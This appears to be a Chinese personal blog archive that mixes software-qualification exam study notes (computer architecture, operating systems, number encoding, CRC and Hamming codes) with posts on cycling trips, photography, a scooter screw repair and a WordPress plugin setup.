空闲区表法:将所有空闲空间整合成一张表,即空闲文件目录。 空闲链表法:将所有空闲空间链接成1个链表,根据需要分配。 成组链接法:即分组,每组内又链接成链表,是上述2种方法的综合。 位示图法:对每个物理空间用1位标识,为1则使用,为0则空闲,形成1张位示图法 真题:某文件管理系统采用位示图(bitmap)记录磁盘的使用情况。如果系统的字长为32位,磁盘物理块的大小位4MB,物理块依次编号为:0、1、2、3.......,位示图依次编号位::0、1、2、3.......,那么16385号物理块的使用情况在位示图种的第()个字中描述:如果磁盘的容量位100GB,那么位示图需要()个字来表示 A. - 127 B 256 C 512 D 1024 A 1200 B 3200 C 6400 D 8000 解析:在位示图中,1个物理块占1个字节中的1位,第16385占到16386位(从0开始),16386/32=512余数2,可知,其在513个字中描述,但因为从0开始编号,是第512个字;磁盘容量100GB,共100GB/4MB=250*1024个物理块,需要250Kb表示,即250*1024bit/32bit=8000个字。 设备管理 设吧的分类方式 按数据组织分类:块设备,字符设备 资源分配角度分类:独占设备,共享设备和虚拟设备 数据传输速率分类:低速设备,中速设备,高速设备 I/0软件层次结构 输入输出技术 程序控制(查询)方式:CPU主动查询外设是否完成数据传输,效率极低 程序中断方式:外设完成数据传输后,向CPU发送中断,等待CPU处理数据,效率相对较高,适用于键盘等实时性较高的场景 中断响应时间指的是从发出中断请求到开始进入中断处理程序;中断处理时间值的是从中断处理开始到中断处理结束。中断向量提供中段服务程序的入口地址。多级中断嵌套,使用堆栈来保护断点和现场 DMA方式(直接主存存取):CPU只需要完成必要的初始化等操作,数据传输的整个过程都由DMA控制器来完成,在主存和外设之间建立的数据通路,效率很高。适用于硬盘等高速设备 在1个总线周期结束后,CPU会响应DMA请求开始读取数据:CPU响应程序中断方式请求是在1条指令执行结束时:区分指令执行结束和总线周期结束 虚拟设备和SPOOLING技术 1台实际的物理设备 引入SPOOLING技术,就是在外设上建立2个数据缓冲区,分别称为输入井和输出井,这样无论多少进程,都可以在公用这台打印机,只需要将打印机命令发出,数据就会排队在缓存区中,打印机会自动按顺序打印,实现了物理外设的共享,使得每个进程都感觉在使用1个打印机,这就是物理设备的虚拟化。如右图 真题:计算机系统中主机和外设间的输入输出控制方式又多种,其中占用主机CPU时间最多的是()方式 A、通道 B、DMA B、中断 D、程序查询 解析:在计算机中,输入输出控制方式有5种,分别是程序查询方式(程序控制方式)、程序中断方式、DMA工作方式、I/0处理机。这5种方式占用CPU时间安多到少排序为: 程序查询方式>程序中断方式>DMA工作方式>通道方式>I/O处理机 ### 7、进程管理 1、操作系统概述 操作系统的作用:通过资源管理提高计算机系统的效率;改善人机界面向用户提供友好的工作环境 操作系统的特征 并发性 共享性 虚拟性 不确定性 操作系统的功能: 进程管理 存储管理 文件管理 设备管理 作业管理 操作系统的分类: 批处理操作系统 分时操作系统(轮流使用CPU工作片) 实时操作系统(快速响应) 网络操作系统 分布式操作系统(物理分数的计算机互联系统) 危机操作系统(Windows) 嵌入式操作系统 计算机启动的基本流程: BIOS→主引导记录→操作系统 2、进程的组成和状态 进程的组成:进程控制块PCB(唯一标志)、程序、数据 进程基础状态时下左图的三态图,这是系统自动控制时只有3种状态,而下右图中的五态,;静止就绪和静止阻塞,需要人为操作才会计入对应状态,活跃就绪即就绪,活跃阻塞即等待; 当人为干预后,进程将被挂起,进入静止状态,此时,需要人为激活,才能恢复到活跃专状态,之后的本质还是三态图 前趋图 进程资源图 死锁 ### 阳台拍照 几年前买的小蚁M1相机拍照,用的是变焦镜头,拉到最远了。 感觉拍照还行,三脚架拍照,用手拿着拍着模糊。 ### 6、计算机体系结构分类 1、flynn分类 体系结构类型结构关键特性代表单指令流数据流SISD控制部分:1个处理器:1个主存模块:1个单处理器系统单指令流多数据流SIMD控制部分:1个处理器:多个主存模块:多个各处理器以异步的形式执行同一条指令并行处理机阵列处理机超级向量处理机多指令流单数据流MISD控制部分:多个处理器:1个主存模块:多个被证明不可能,至少是不实际目前没有文献称流水线计算机为此类多指令流多数据流MIMD控制部分:多个处理器:多个主存模块:多个能够实现作业、任务、指令等各级全面并行多处理机系统多计算机 例题:Flynn分类法根据计算机在执行程序的过程中(A)的不同组合,将计算机分为4类。当前主流的多核计算机属于(D)计算机 A.指令流和数据流 B.数据流和控制流 C.指令流和控制流 D.数据流和总线带宽 A.SISD B.SIMD C.MISD D.MIMD 2、计算机指令 计算机指令的组成:1条指令由操作码和操作数2部分组成,操作码决定要完成的操作,操作数指参加运算的数据及其所在的单元地址。 在计算机中,操作要求和操作数地址都由二进制数码表示,分别称作操作码和地址码。整条指令以二进制编码的形式存放在存储器中。 计算机指令执行过程: 取指令→分析指令→执行指令 3、指令寻址方式 指令寻址方式 顺序寻址方式:当前执行一段程序时,是一条指令接着一条指令顺序执行。 跳跃寻址方式:指下一条指令的地址码不是由程序计算器给出,而是由本条指令直接给出。程序跳跃后,按新的指令地址开始顺序执行。因此,程序计算器的内容也必须相应的改变,以便及时跟踪新的指令地址。 指令操作数的寻址方式 立即寻址方式:指令的地址码字段指出的不是地址,而是操作数本身。 直接寻址方式:在指令的地址字段中直接指出操作数在主存中的地址。 间接寻址方式:指令地址码字段所指向的存储单元中存储的时操作数地址。 寄存器寻址方式:指令中的地址时寄存器的编号。 其他寻址方式 4、指令系统 CISC:时复杂指令系统,兼容性强,指繁多、长度可变,由微程序实现; RISC:时精简指令系统,指令少,使用频繁接近,注意依靠硬件实现(通用寄存器,硬布线逻辑控制) CISC和RISC 指令系统类型指令寻址方式实现方式其他CISC数量多,使用频率差别大,可变长格式支持多种微程序控制技术(微码)研制周期长RISC数量少,使用频率接近,定长格式,大部分单周期指令,操作寄存器,只有load/store操作内存支持方式少增加了通用寄存器;硬布线逻辑控制为主;适合采用流水线优化编译,有效支持高级语言 例题:以下关于复杂指令集计算机(complex instruction set computer,CISC)的叙述中正确的是(D) A、只设置使用频率高的一些简单指令,不同指令执行时间差别小 B、CPU中设置大量寄存器,利用率低 C、常采用执行速度更快的组合逻辑实现控制器 D、指令长度不固定,指令各种和寻址方式多 5、指令流水线 指令流水线原理:将指令分成不同段,每段由不同的部分取处理,因此可以产生叠加的效果,所有的部件取处理指令的不同段 流水线相关计算 流水线周期:指令分成不同执行段,其中执行时间最长的段位流水线周期。 流水线执行时间:1条指令总执行时间+(总指令条数-1)* 流水线周期。 流水线吞吐率:总指令条数/流水线执行时间。 流水线加速比:不使用流水线总执行时间/使用流水线总执行时间 超标量流水线技术:常规流水线是度位1的,即每个流水线阶段只执行1部分。当度大于1时,就意味这超标量技术,当度位3时,相当于3条流水线并行执行,即取值,分析,执行每个阶段都是同时处理3条指令。当题目提到度的概念时,计算时需要将:指令条数=指令条数/度。然后再套流水线执行时间公式。 例题1: 流水线的吞吐率是指流水线在单位时间里所完成的任务数或输出的结果数。设某流水线有5段,有1段的时间位2ns,另外4段每段时间位1ns,利用次流水线完成100个任务的吞吐率约为(B)个/S A.500*106 B.490*106 C.250*106 D.167*106 解析:吞吐率时单位时间内执行任务的个数,即将总任务/总时间; 流水线执行100个任务所需要的时间为:【1条指令总执行时间+(总指令条数-1)* 流水线周期】(2+1+1+1+1)+(100-1)*2=204ns。所有没秒吞吐率为: (100/204)*109=490*106 例题2: 流水线计算时通过并行硬件来提高系统性能的常用方法。对于1个K段流水线,假设七个段的执行时间均相等(设为t),输入到流水线中的任务时连续的理想情况下,完成n个连续任务需要的总时间为(B)。若某流水线浮点加法运算器分为5段,所需要的时间分别时6ns、7ns、8ns、9ns、6ns、则最大加速比为(A) A、nkt B、(k+n-1)t C、(n-t)kt D、(k+n+1)t A、4 B、5 C、6 D、7 总时间:1条指令总执行时间+(总指令条数-1)* 流水线周期 加速比:不使用流水线总执行时间/使用流水线总执行时间=1条指令总执行时间+(总指令条数-1)* 流水线周期 n值越大,数字27可以忽悠,就等于36n/9n=4 6、存储系统 计算机存储系统层次结构(容量越大,速度越小) 计算机采用分级存储体系的主要目的时为了解决存储容量、成本和速度之间的矛盾问题。 两级存储:cache=主存、主存-辅存(虚拟存储体系) 局部性原理:在CPU运行时,所访问的数据会趋向于1个较小的局部空间地址内,包括下面2个方面 时间局部性原理:如果1个数据项正在被访问,那么在近期很可能会被再次访问,即在相邻的时间里会访问同1个数据项 空间局部性原理:在最近的将来会用到的数据的地址和现在正在访问的数据地址很可能时相近的,即相邻的空间地址会被连续访问。 高速缓冲cache 高速缓冲cahche用来存储当前最活跃的程序和数据,直接和CPU交互,位于CPU和主存之间,容量小,速度为内存的5-10倍,由半导体材料构成。内容是主存内存的副本拷贝,对于程序原是透明的。 cache由控制部分和存储器组成,存储器存储数据,控制部分判断CPU要访问的数据是否在Cache中,则命中,不在则依据一定的算法从主存中替换。 地址映射:在CPU工作时,送出的时主存单元的地址,而应从cache存储器中读/写信息。需要将主存地址转换为cache存储器地址,地址的转换称为地址映像,由硬件自动完成映射,可以分为3种方法: 直接映射:将cache存储器等分成块,主存也等分成块并编号。主存的块与cache种的块的对于关系时固定的,即2者块号相同才能命中。地址变换简单,但不灵活,容易造成资源浪费 全相联映像:同样都等分成块并编号。主存种的任意1块都和cache中任意1块对应。因此可以随意调入cache任意位置,但地址变换复杂,速度较慢。因为主存可以随意调入cache任意块,只有当cache满了才会发送块冲突,市最不容易发送块冲突的映像方式。 组组相连映像:前面2种方式的结合,将cache存储器先分块再分组,主存也同样先分块再分组,组间采用直接映像,即主存中组号和cache中组号相同的组才能命中,但是组全相联映像,即组号相同的2个组内的所有块可以任意调换 例题:按照cache地址映射的块冲突概率,从高到底排列的是() B、直接映像→组组相联映像→全相联映像 cache命中率 当CPU所访问的数据在cache中时,称为命中,直接从cache中读取数据,否则没有命中,需要从主存中读取所需的数据 例题: 使用cache改善系统性能的依据时程序的局部性原理。程序中大部分指令时(A)的。设某计算机主存的读写时间为100ns,由1个指令和数据合一的cache,一只该cache的读写时间为10ns,取指令的命中率为98%,取数的命中率95%。在执行某类程序时,约有1/5指令需要额外存/取1个操作数。假设指令流水线在任何适合都不阻塞,则设置cache后,每条指令的评价读取时间为()ns A、顺序存储、顺序执行 B、随机存储、顺序执行 C、顺序存储、随机执行 D、随机存储、随机执行 A、12.3 B、14.7 C、23.4 D、26.3 (98%*10+2%*100)+(95%*10*20%+5%*100) 7、主存编址 主存编址的考察情况 例题:地址编号从80000H到BFFFFH,且按字节编址的内存内容量为(B)KB,若用16K*4bit的存储器芯片构成该内存,共需要(C)片 A、128 B、256 C、512 D、1024 A、 8 B、16 C、32 D、64 解析:首先计算出地址段包含存储空间数,为BFFFFH-80000H+1=40000H,按字节编制,即1个存储空间占1个字节,共40000H个字节,转换为十进制即256KB;该促成你芯片总容量为16K*0.5B=8KB,因此共需256/8=32片,该芯片才够存储。 KB=1024 kB=1000 1Bit=8bit 8、总线结构 广义:任何连接2个以上电子元器件的导线都是可以称为总线,通常分为3类: 内部总线:内部芯片级别的总线,芯片和处理器之间的通信总线 系统总线:板级总线,用于计算器内各部分之间的连接,具体分为数据总线(并行数据传输位数)、地址总线(系统可管理的内存空间的大小)、控制总线(传送控制命令)。代表的由ISA总线,EISA总线,PCI总线 外部总线:设备1级的总线,微机和外部设备的总线。代表由RS232(串行总线)、SCSI(并行总线)、USB(通用串行总线,即插即用,支持热插拔)、 9、系统可靠性分析 平均无故障时间MTTF=1/失效率 平均故障修复时间MTTR=1/修复率 平均故障间隔时间MTBF=MTTF+MTTR 系统可用性=MTTF/(MTTF+MTTR)*100% ### 湖州市龙王山探路 今天把车开上高速,好几个星期没开了,就是怕又长霉菌,又要花钱洗车。 这次出门也是瞎逛的,随便在高德上点了1个景区就出发了,一共156KM,2个小时13分。 准备好相机,测试下功能拍了下阳台边的空地。然后就出发了。 在去龙王山的路上,特别是经临安到青山湖这段高速上(限速120),龟速的车真TM的多(80以下)。还特别喜欢跟大型车并排,慢悠悠的开,前面都没车。真的不知道怎么想的,把高速当成高架来开了吗?!!! 还有就是不打转向灯就变道,我跟前车距离1个车位都不到就变道,MD秀车技呢?!!! 下午四点五十分到达龙王山脚下,景区不对外开放。就在停车场拍了下照片返回杭州。 景区停车场,看山上跟三清山和四明山差不多。 回杭州。 ### 轮胎扎破以后,就会一直漏气 哎呀,发现人生哲理了。 ψ(`∇´)ψ 轮胎扎破,就不会跟以前的状态一样,要隔一段时间检查,并打气。 ### 软件评测师学习情况 1、软考学习情况 已经把所有视频看完一遍,大概知识点范围有所了解。 知识点范围特别广,知识点特别多,要全部记住有点不太可能。 软件评测师书上的知识点基本偏向文科,少部分有计算,学习相对容易。 软件设计师部分知识点基本偏向理科,知识点范围广,学习有点难度。 刚开始学习的时候,是有点难以消化的,看完一遍视频有一丢丢困难。 不知道剩下的2个月时间能不能在考试通过。 软件评测师+软件设计师 里的知识,有一部分覆盖华为可信测试考试知识点。 2、华为测试可信考试 对于华为可信测试考试,真的是一言难尽。 这个星期考了模拟试卷,5次机会,4次不及格,1次及格(100),知识点又增加了测试架构,测试结构优化的内容。 平常参加的培训内容一直没有变化,培训知识点不能覆盖全部华为可信测试考试考试里的知识点,要是能考过真的是运气爆棚。必须要不断扩展关于测试相关的知识点,要一直在华为W3网站上不断搜集。并且要连续3次考试,这样第1次没过,第2次考试题目可能不会变化,通过的几率要大的多。 不像今年考试,2月考试没过,4月再次参加考试,又没过,然后6月份考试还是没过,每次参加考试的题目都不一样,通过的几率基本上没有,通过率=0%。 还有也发现了学习和复习华为可信测试有一点不足,就是一直刷题目,也不去总结哪些地方没有学习到位,一直刷题,一直记题目,这样是没有进步的,一直在1个水平上止步不前(第2次对34题目,第三次对37题)。 要查漏补缺学习不足的知识点,加以巩固,然后在刷题。 ### 螺丝不能使用水管的胶带,会导致螺丝和孔位滑丝。 💥异响(螺丝孔位滑丝起因)原因 九号机械师MMAX 110p的后挡泥板,因为骑行时间久了,掉了1个螺丝。导致骑行到颠簸的地方会有异响。刚开始还以为是后备箱里的充电器晃动,仔细检查才发现并不是后备箱的原因。 原因是后挡泥板的1个螺丝掉了,挡泥板经过颠簸的路面晃动导致的异响。 ❗螺丝孔位滑丝原因(可能) 后到淘宝上买了螺丝上上去,没过多久又掉了。 就用了水管的胶带+淘宝买的钛螺丝胶水,刚开始拧的还挺紧。 时间久了又松动了,然后卸下来,再拧上去(这下哦豁了,滑丝了拧不紧了)。 `(*>﹏<*)′ 自从第1个螺丝掉了开始,陆陆续续掉了4个螺丝(包括1个钛螺丝,1个钛垫圈,共58元,三个原装螺丝)。这就不得不想办法解决了,百度搜索怎么解决螺丝松动,搜索到自紧螺母,防松动垫圈,不知道效果如何。 还有可能是安装卸载螺丝次数太多次了。 ✔️钛螺丝、钛螺母、钛垫圈等规格 钛螺丝、钛螺母、钛垫圈、扣紧螺母自锁、双叠自锁防松垫圈、扳手型号/数量和使用情况 螺丝*螺母*垫圈型号个数钛螺丝(轮胎上的螺丝)M6 L12 D16 d8 h3(M6L12D16 D8H3)2钛螺丝M6*122钛螺母M61钛垫圈D162扣紧螺母自锁 304(不锈钢)M6 厚度 3mm 4双叠自锁防松垫圈 304(不锈钢)M6 厚度2.3mm2扳手10*11 厚度 3mm1✔️九号机械师MMAX 110P 后挡泥板螺丝螺母垫圈型号 钛螺母要钛螺丝露出一部分才能有效果,实际上没露出一部分,应该是没效果的,就怕时间久了又松动,后面就用了扣紧螺母+双叠自锁防松垫圈。 共使用3个扣紧螺母自锁+1个双叠自锁防松垫圈。 后挡泥板螺丝型号(钛螺丝,钛螺母): 螺丝(*2)型号:M6 L12 D16 d8 h3 (M6L12D16 D8H3) 螺丝(*2)型号:M6*12 螺母(*1)型号:M6 只有一边能使用螺母,另外一边要特殊的螺母,因为左边又刹车会挡住。 上面的是轮胎那边的螺丝。在淘宝买的钛螺丝,挺贵的,1个都要20多元 后挡泥板螺丝型号(普通) 扣紧螺母自锁(*4)型号:M6 厚度 3mm 双叠自锁防松垫圈(*2):M6 304(不锈钢) 扳手:10*11 厚度 3mm 📍总结 最后总结: 螺丝不能用水管的胶带。 要使用自紧螺帽+自紧垫片,不知道效果好不好。 ### 5、数的编码方式 带符号数有以下列编码方式 源码:1个数的正常二级制表示,最高位表示符号,数值0的源码有2种形式:+0(0 0000000)和-0(1 0000000) 反码:正数的反码即原码;负数的反码是在原码的基础上,除符号位外,其它各位按位取反。数值0的反码也有两种形式:+0(0 0000000)和-0(1 1111111) 补码:正数的补码即原码;负数的补码是在原码的基础上,除符号位外,其他各位按位取反,而后未位+1,若有进位产生进位。因此数值0的补码只有一种形式+0=-0=0 0000000 移码:用作浮点数运算的阶码,无论正数负数,都是将该原码补码的首位(符号位)取反得到移码。 机器字长位n时各种码制表示的带符号数的取值范围(差别在于0的表示,码和反码分+0和-0,补码只有1个0,因此可以多表示1个。) 码制定点整数定点小数原码-(2n-1) ~ +(2n-1-1)-(1-2-(n-1)) ~ +(1-2-(n-1)) 反码-(2n-1) ~ +(2n-1-1)-(1-2-(n-1)) ~ +(1-2-(n-1))补码-2n-1 ~ +(2n-1-1)-1 ~ +(1-2-(n-1))移码-2n-1 ~ +(2n-1-1)-1 ~ +(1-2-(n-1)) 1、浮点数表示 浮点数:表示方法位N=F*2E,其中E称为阶码,F称为尾数;类似于十进制的科学计算法,如85.125=0.85125*102,二进制如101.011=0.101011*23 在浮点数的表示中,阶码位带符号的纯整数,位数位带符号的纯小数,要注意符号占最高位(正数0,负数1),其表示各式如下: 阶符阶码数符尾数 与科学计算法类似,1个浮点数的表示方法不是唯一的,浮点数所能表示的数值范围由阶码确定,所表示的数值精度由位数确定。 尾数的表示采用规格化方法,即带符号尾数的补码必须位1.0xxxxx(负数)或者0.0xxxxx(正数),其中x可为1或1 对阶(使两个数据的阶码相同,小阶向大阶看齐,较小阶码增加几位,尾数就右移几位) 尾数计算(相加,若是减运算,则加负数) 结果规格化(即尾数表示规格化,带符号尾数转换为1.0xxxxx(负数)或者0.0xxxxx(正数) 例题:浮点数在机器中的表示如下所示,若阶码的长度为e,尾数的长度为m,则以下关于浮点数的表示的叙述中,正确的是() ① e的值影响浮点的范围,e越大,所表示的浮点数数值范围越大 ② e的值影响浮点的精度,e越大,所表示的浮点数数值范围越高 ③ m的值影响浮点数的范围,m越大,所表示的浮点数范围越大 ④ m的值影响浮点数的精度,m越大,所表示的浮点数范围越高 A.①③ B.②③ C.①④ D.②④ 2、算术运算和逻辑运算 数与数之间的算术运算包括:加、减、乘、除等基本算术运算,对于二进制,还应该掌握基本逻辑运算 逻辑名称逻辑内容逻辑与(&)0和1相与,只要有1个为0结果为0,两个都是1才是1。逻辑或(|)0和1相与,只要有1个位1结果就为1,两个都是0才是0。异或同0非1。即参加运算的二进制数同为0或者同为1结果为0;1个为0另外1个为1结果为1。逻辑非(!)0的非是1,1的非是0逻辑左移(<<)二进制整数左移n位,高位若溢出则舍去,低位补0。逻辑右移(>>)二进制整数右移n位,低位若溢出则舍去,高位补0。 3、校验码 码距:单个编码A:00而言,起码据为1;因为其只需要改变1位编程另外1个编码。在2个编码中,从A码到B码转换需要改变位数的称为码距。码距越大,越利于纠错和检错 奇偶校验码:在编码中增加1位校验位来使编码中的1个数位奇数(奇校验)或者偶数(偶校验),从而使码距变为2 奇校验:编码中,含有奇数个1,发送给接收方,接收方收到后,会计算收到的编码有多少个1,如果是奇数个,则无误,如果是偶数个,则有误 偶校验同理,只是编码中偶数个1,由上述,奇偶只能校验1位错,并且无法纠错。 4、循环冗余校验码CRC CRC只能检错,不能纠错,其原理是找出1个能整除多项式的编码,因此首先要将原始报文除以多项式,将所得的余数作为校验位加载原始报之后,作为发送数据发给接收方,其编码格式为: 因此,CRC由2部分组成,左边为信息码(原始数据),右边为校验码。校验码是由信息码产生的,校验码位数越长,校验能力越强。求CRC编码时,采用的是模2运算(按位运算,不发生错位和进位) 例题:原始报文为“11001010101”,其生成多项式为:x4+x3+x+1。对其进行CRC编码后的结果为? 解答:首先根据多项式得出除数11011,在原始多项式后面加上多项式最高指数个数个0,即4个0和除数进行摸2除法,一直上1,最终得出四位余数为0011,编码为11001010101 0011,然后发生出去。 接收方将受到的110010101010011与多项式进行摸2运算,若余数为0,说明校验正确,数据传输正确。 5、海明码校验码 海明码:本质也是利用奇偶性来检错和纠错的校验方法,构成方法是数据位之间的确定位置插入k个校验位,通过扩大码距实现检错和纠错。 设数据位是n位,校验位是k位,则n和k必须满足以下关系:2k-1>=n+k 例题:求信息1011的海明码 (1)校验位的位数和具体的数据位的位数之间的关系:所有位都编号,从最低位编号,从1开始递增,校验位处于2的n(n= 0 1 2 .....)次方中,即处于第1,2,4,8,16......位上,其余位才能填充真正的数据位,若信息数据位1011,则可知,第1,2,4位为校验位,第3,5,6,7位为数据位,用来从低位开始存放1011 7654321位数I4I3I2I1信息位r2r1r0校验位 (2)每一位校验码的计算公式:需要确定每1位校验码到底校验哪些信息位,将信息位(即编号)拆分为二进制表示,如7=4+2+1,由第4位校验位(r2)和第二位校验位(r1)和第1位(r0)共同校验。同理,第6位数据位6=4+2,第5位校验位5=4+1,第3位数据位3=2+1,前面可知,这些2的n次方都是校验位,可知第4位校验码校验第7 6 5三位数据位,因此,第4位校验位r2等于这三位数据位的值异或,第2位和第1位校验位计算原来同上,计算出3个校验位后,知道最终要发送的海明码校验码位1010101 7654321位数1011信息位001校验位 (3)检错和纠错原理 接收方收到海明码之后,会将每一位校验码与其校验的位数分别异或,即如下三组运算 如果是偶校验,那么运算得到的结果应该全部都是0,如果是奇校验,应该都是1,才是正确,假设是偶校验,且接收到的数据位1011101(第四位出错),此时,运算的结果为: 这里不都是0,编码传输的过程是错误的,并且按照r2r1r0排位列为二进制100,这里指出的就是错误的位数,表示第100,即第4位出错,找到了出错位,纠错方法就是将该位逆转。 ### 4、数的表示-机器数 1、机器数 各种数值在计算机中表示的形式,其特点是使用二进制计算制,数的符号用0和1表示,小数点则隐含,不占位置 机器数无符号数和带符号数之分。 无符号数表示正数,没有符号位。 带符号数最高位为符号位,正数符号为0,负数符号位为1. 2、定点表示法 分为纯小数和纯整数两种,其中小数点不占存储位,而是按照以下约定: 纯小数:约定小数点的位置在机器数的最高数值位之前 纯整数:约定小数点的位置在机器数的最低数值位之后 3、真值 机器数对应的实际数值 ### 【航拍】江西省德兴市皈大中学 位于江西上饶德兴市皈大中学。大疆航拍,航拍于2018年。 附近有三清山,龙腾瀑布,婺源等旅游景点。 初中教学楼 皈大中学全景 ### 周末骑行-笠帽顶(杭州最近的天文台) 从五丰岛出来,是下午快4点了,然后高德搜索了下笠帽顶,距离五丰岛20KM左右,还挺近。上次开车上去因为修路,路被封了,没上去。 这次骑电瓶车上去看看。路跟安顶山差不多,很多顺路的。 上山的地方经过村庄,村庄规模蛮大的,房子都是小别墅。山上路上随便拍些花。 到达山顶发现,路也是被封的。上不去。 逛了下附近的茶园就下山了。下山的时候,才发现相机参数不对,左边是恢复默认的照片,右边是拍流星雨的参数。1个像早上,1个像下午。(~ ̄▽ ̄)~ ### 3、数的表示 1、机器数 2、数的编码方式 ### 2、数据的进制转化 1、进制的表示 如果没给出,是二进制还是十六机制时。可以看前面2位数/最后一位1位数。 二进制前两位是0b。即0b001 十六进制前2位/1位是0x或H。0x18F或18FH 2、R进制整数转十进制 位权展开法:用R机制数的每一位乘以R的N次方,n是变量,从R进制数的证书最低位开始,依次位0,1,2,3...累加 例子:如有6进制数5043,此时R=6,用6进制数的每一位乘以6的n次方,n是变量,从6进制数的整数最低位开始(5043从低位岛高位排列:3,4,0,5),n依次位0,1,2,3,那么最终5043=3*60+4*61+0*62+5*63=1107 3、十进制转R进制 十进制整数(除以R倒取余数),用十进制整数除以R,记录每次所得余数,若商不为0,则继续除以R,直至商为0,而后将所有余数从下至上记录,排列成从左到右顺序,几位转换后的R进制 例子: 有十进制数200,转换为6进制,此时R=6,将200/6,得商为33,余数为2; 因为商不等于0,因此再将商33/6,得商为5,余数为3;再将5/6,得商为0,余数为5; 此时商为0,将所有余数从下岛商记录,得532 4、m进制转n进制 先将m进制转换为十进制数,再将十进制数转换为n进制数。 中间需要通过十进制中转,但下面两种进制间可以之间转化: 二进制转八进制 二进转十六进制 5、二进制转八进制(23=8) 每二位进制数转换为1位八进制数,二进制数为个数不是3得倍数,则前面补0(原则是数值不变)。 例子:二进制数01101(5位),前面要补个0(就是01101),每三位转换位1位八机制数, 001=1*20+0*21+0*22=1+0+0=1 101=1*20+0*21+1*22=1+0+4=5 则八进制数为:15 6、二进转十六进制(24=16) 每4位二进制数转换位1位十六进制数,二进制数整位个数不是4的倍数,则前面补0。 例子:二进制数101101有6位,前面补2个0,即00101101,每4位转换位1位十六进制数 0010=0*20+1*21+0*22+0*23=2 1101=1*20+0*21+1*22+1*23=13=D 则二进制(101101)转十六进制为2D ### 1、计算机硬件组成 1、计算机的硬件基本系统 1.1、由五大部分组成: 运算器 控制器 存储器 输入设备(鼠标,键盘等) 输出设备(显示器,音箱等) 1.2、存储器 存储器分为内部存储器和外部存储器 内部存储器:内存,容量小,速度快,临时存放数据 外部存储器:硬盘,光盘等。容量大,速度慢,长期保存数据 1.3、输入输出设备 统称为外部设备,即外设 1.4、主机 由CPU(运算器+控制器)和主存储器组成。 2、中央处理器CPU 2.1、中央处理单元组成: 由运算器,控制器,寄存器组和内部总线组成。 运算器 控制器 寄存器组 内部总线 功能:实现程序控制,操作控制,时间控制,数据处理功能。 2.2、运算器 组成 算术逻辑单元ALU(实现对数据的算术和逻辑运算) 累加寄存器AC(运算结果或源操作数的存放区) 数据缓冲寄存器DR(暂时存放内存的指令或数据) 状态条件寄存器PSW(保存指令运行结果的条件码内容) 运算器组成由ALU、AC、DR、PSW组成 功能 执行所有的算术运算,如加减乘除等; 执行所有的逻辑运算并进行逻辑测试,如与、或、非、比较等。 2.3、控制器 组成 指令寄存器IR(暂存CPU执行指令) 程序计数器PC(存放执行地址) 地址寄存器AR(保存当前CPU所访问的内存地址) 指令译码器ID(分析指令操作码) 功能 控制整个CPU的工作,最为重要。包括程序控制器,时序控制等 ### 2023年下半年计算机技术与软件专业技术资格(水平)考试有关工作调整的通告  为提升考试科学化、信息化水平,加强考试安全防控工作,确保考试公平、公正。自2023年下半年起,计算机软件资格考试的考试方式均由纸笔考试改革为计算机化考试。  为全面做好计算机化考试相关准备工作,2023年下半年计算机软件资格考试报名工作调整为9月进行,具体报名时间详见各地区报考文件。  考试其他安排另行通告。 第一次软考就给我机考?! ### 软件评测师考试总纲和知识点 1、考试要求 1.1、科目一考试要求 熟悉计算机基础知识; 熟悉操作系统,数据库,中间件,程序设计语音基础知识; 熟悉计算机网络基础知识; 熟悉软件工程知识,理解软件开发方法及过程; 熟悉软件质量及软件质量管理基础知识 熟悉软件测试标准; 掌握软件测试技术和方法; 掌握软件测试项目管理知识; 掌握C语音及C++或Java语言程序设计; 了解信息化及信息安全基础知识; 熟悉知识产品相关法律,法规; 正确阅读并理解相关领域的英文资料; 1到5点是软件设计师里的知识点,6到12是软件评测师的知识点。 1.2、科目二考点 试题一代码阅读(一般是C语言)、根据代码一般是三个问,比较固定;(1)针对代码给出满足100% DC(判断覆盖)所需的逻辑条件(2)根据代码画控制流程图、计算环路复杂度(3)给出线性无关路径试题二黑盒测试(1)补充等价类划分表(2)补充等价类测试用例表(3)其他,如边界值分析,决策表试题三测试综合(1)性能测试-Apdex(应用性能指数)计算(2)兼容性测试矩阵设计(3)通信吞吐量计算,链接测试等其他概念(4)根据具体功能设计测试用例输入试题四面向对象测试,会结合面向对象类图,类和对象等基本概念考查,一般包括(1)类和对象,多态等基本概念,类之间关系,会看类图(2)类中方法测试序列(3)类的测试顺序试题五嵌入式测试:比较灵活,一般是结合题目描述考查,包括:(1)常考白盒测试,根据条件或代码覆盖率所需参数用例个数。(2)偶尔考黑盒测试(送分题),根据题目描述填写测试用例表备注科目二考点 ### 周末骑行:杭州萧山附近的五丰岛 去年就听过五丰岛,想上去看看。看了高德没想到离家这么近,才14KM。骑电瓶车半个小时就到了。 都是在安顶山,同盘顶,笠帽顶在同一个地方。 骑到码头,做渡轮上岛,电瓶车1个人上岛3元,下岛3元。 萧山五丰岛 萧山五丰岛 到达岛上就是1个摄影基地,然后就没了,整个岛跟乡下差不多,地方还挺大,有养鱼的,有种小麦的。岛上的房子也挺多,都是三层楼以上。 摄影基地是偷偷拍的,听说要收费。 相机只从上次拍流星,没把参数恢复,拍出来的图片跟早上一样。还有镜头没检查,有些图片拍出来有黑点。(~ ̄▽ ̄)~ 五丰岛上其他地方。 ### WordPress文章目录插件-简单目录 1、为什么要安装目录插件 之前用的是WPJAM插件里的文章目录,这个目录有3个缺点: 文章目录是在文章里,会导致跟文章目录同一行的文字图片排版有问题。 文章目录在文章里显的臃肿。 文章目录默认是展开状态。 所以打算找1个文章目录插件,把目录放到文章之外,这样就不会有上面的缺点了。 这个插件是:简单目录。 下面就是怎么安装简单目录和配置设置。 2、简单目录 2.1、安装并启动简单目录插件 进入wordpress后台的安装插件页面,搜索框输入:TOC。第一个就是简单目录,点击立即安装。 安装成功后启动简单目录插件。 2.2、设置简单目录-显示文章目录到文章两侧 进入简单目录设置的路径:设置→目录→常规→Sticky Toggle Options 设置: Sticky Toggle Options为开启。 位置设置为左侧,也可以设置为右侧。 勾上TOC open on load(就是文章加载的时候,文章目录为展开状态,等文章加载完,就是收缩状态,手动点击后就展开目录) Open Button Text设置为展开目录(这个就是文章目录收缩时,显示的文字) 勾上Click TOC Close on Mobile 下面就是设置的截图 2.3、查看效果 这个效果就好多了,不会显得拥挤,排版也正常。 3、简单目录缺点 这个插件也有缺点,网址搜索框输入关键字,搜出来的列表会显示第一章的目录。 手机上显示的目录也不行。tap页的展开目录不显示。 目录在右侧,展开目录这4个字是镜像的。厉害了! ### 您为什么写博客 您为什么要写博客? 记录遇到的问题和解决方法,防止下次遇到又要花费大量时间找答案。 也可以提升自己,不断总结,复盘。 